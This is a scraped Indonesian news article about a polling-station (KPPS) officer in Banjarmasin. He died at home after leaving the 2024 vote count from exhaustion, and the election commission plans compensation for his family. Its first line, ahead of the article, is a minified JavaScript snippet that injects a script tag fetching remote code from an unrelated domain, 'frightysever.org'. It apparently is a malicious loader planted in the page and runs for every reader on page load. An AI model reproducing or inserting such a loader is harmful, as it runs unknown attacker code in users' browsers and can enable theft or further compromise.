(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Pulang Sebelum Rampungkan Penghitungan Suara, Anggota KPPS Meninggal Dunia di Rumah


KANALKALIMANTAN.COM, BANJARMASIN – Seorang petugas Kelompok Penyelanggara Pemungutan Suara (KPPS) Pemilu 2024 di Kota Banjarmasin Provinsi Kalimantan Selatan (Kalsel) dikabarkan meninggal dunia.

Chandra Dinata (49) wafat setelah sempat melaksanakan tugas sebagai anggota KPPS di TPS 26 Kelurahan Karang Mekar, Kecamatan Banjarmasin Timur, Kota Banjarmasin.

Ketua Komisi Pemilihan Umum (KPU) Kota Banjarmasin Rusnailah membenarkan, meninggal dunia seorang anggota KPPS tersebut.

Ia mengatakan, almarhum Chandra Dinata tidak meninggal dunia saat bertugas di TPS, melainkan meninggal dunia di rumahnya beberapa hari setelah hari H pencoblosan.

Baca juga: Mantan Kadistan Balangan Divonis 4 Tahun Penjara, Tuntutan JPU 1 Tahun 6 Bulan

Namun, kata Rusnailah, saat masih bertugas di TPS pada sore hari pencoblosan itu, almarhum Chandra Dinata sempat mengeluh kepada Ketua KPPS dan mengatakan tidak dapat melanjutkan tugas melakukan penghitungan suara yang masih berlangsung di TPS.

“Awalnya memang kelelahan di tanggal 14 Februari sore, beliau melapor kepada Ketua KPPS bahwa tidak bisa melanjutkan tugas di TPS,” ujar Ketua KPU.

Lanjut Rusnailah, karena yang bersangkutan meninggal masih mengemban petugas KPPS, maka pihaknya berencana memberikan santunan kepada keluarga korban.

Ketua KPU Kota Banjarmasin, Rusnailah. Foto: wanda

Pemberian santunan terdiri dua macam, yaitu biaya pemakaman dan santunan kematian yang diberikan kepada keluarga almarhum dengan nilai mencapai Rp46 juta.

Baca juga: Taman Mawar Lansia Loktabat Utara Diresmikan, Tambahan Ruang Bermain Ramah Anak di Banjarbaru

“Biaya pemakaman Rp10 juta, santunan Rp36 juta,” katanya.

Pemberian santunan kematian itu mengacu pada Keputusan KPU Nomor 59 Tahun 2023.

Namun, kata Rusnailah, sebelum santunan diberikan, terlebih dahulu pihaknya membuat laporan ke KPU RI dan menganggarkannya.

“Kita buat laporannya dulu ke KPU RI dan juga menganggarkan dana santunannya,” ujarnya. “Tentunya administrasi juga harus lengkap,” sambungnya. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Risa

Recent Posts

Bawaslu Banjarbaru Dapati Dua Laporan Pelanggaran Jelang PSU

KANALKALIMANTAN.COM, BANJARBARU - Jelang pelaksanaan Pemungutan Suara Ulang (PSU) Pemilihan Wali Kota dan Wakil Wali… Read More

14 jam ago

Rudapaksa Anak di Aluhaluh Disebut Lima Kali, SY Ditangkap Polisi

KANALKALIMANTAN.COM, BANJARBARU - Aksi amoral diduga dilakukan seorang lelaki warga Kabupaten Banjar melakukan perbuatan tak… Read More

15 jam ago

Wagub dan PUPR Kalsel Kunjungi Stadion 17 Mei

KANALKALIMANTAN.COM, BANJARMASIN - Pelaksana Tugas (Plt) Kepala Dinas PUPR Kalsel, M Yasin Toyib mendampingi Wakil… Read More

17 jam ago

Modus Sewa Motor di Banjarbaru, Sigit ‘Larikan’ Yamaha NMAX hingga Sampit

KANALKALIMANTAN.COM, BANJARBARU - Seorang laki-laki berusia 36 tahun diringkus polisi setelah ‘larikan’ sebuah sepeda motor… Read More

17 jam ago

Muscab ke-VII IBI HSU, Ini Kata Wabup Hero Setiawan

KANALKALIMANTAN.COM, AMUNTAI - Wakil Bupati (Wabup) Hulu Sungai Utara (HSU) Hero Setiawan menilai peran strategis… Read More

18 jam ago

Banjar Preneur Fest Digelar di Q Mall Selama Dua Hari

KANALKALIMANTAN.COM, MARTAPURA -  Wakil Bupati Banjar Habib Idrus Al Habsyi menyampaikan apresiasi yang setinggi-tingginya kepada… Read More

1 hari ago

This website uses cookies.